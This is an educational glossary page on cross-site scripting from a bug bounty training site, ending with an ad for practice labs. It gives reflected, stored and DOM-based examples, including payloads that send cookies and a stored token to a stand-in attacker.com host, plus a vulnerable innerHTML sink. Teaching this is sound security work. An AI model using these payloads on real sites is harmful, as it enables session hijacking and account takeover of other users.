XSS

High

Cross-Site Scripting

Definition

Cross-Site Scripting (XSS) is a vulnerability that lets an attacker inject malicious JavaScript into web pages viewed by other users. The victim's browser executes the script believing it comes from a legitimate source, which allows stealing cookies, session tokens or redirecting the user to malicious sites.

Impact

Cookie and session token theft (session hijacking)User impersonation (account takeover)Redirection to phishing sitesKeylogging and credential captureDefacement of the web page

Examples

Basic Reflected XSS

The search parameter is reflected directly into the HTML without sanitization. The browser executes the script and sends the cookies to the attacker's server.

<!-- Malicious URL -->
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

<!-- The server reflects the parameter without sanitizing it -->
<p>Results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></p>

Stored XSS in comments

An attacker posts a comment with malicious code that is stored in the database. Every time another user loads the page, the script runs automatically.

<!-- Malicious comment stored in the database -->
<img src=x onerror="fetch('https://attacker.com/steal?token='+localStorage.getItem('token'))">

DOM-based XSS

The client-side JavaScript takes data from a user-controllable source (such as the URL hash) and inserts it into the DOM without sanitizing it, all without any interaction with the server.

// Vulnerable client-side code
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

// Attack URL
https://example.com/page#<img src=x onerror=alert(document.cookie)>

Practice XSS with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime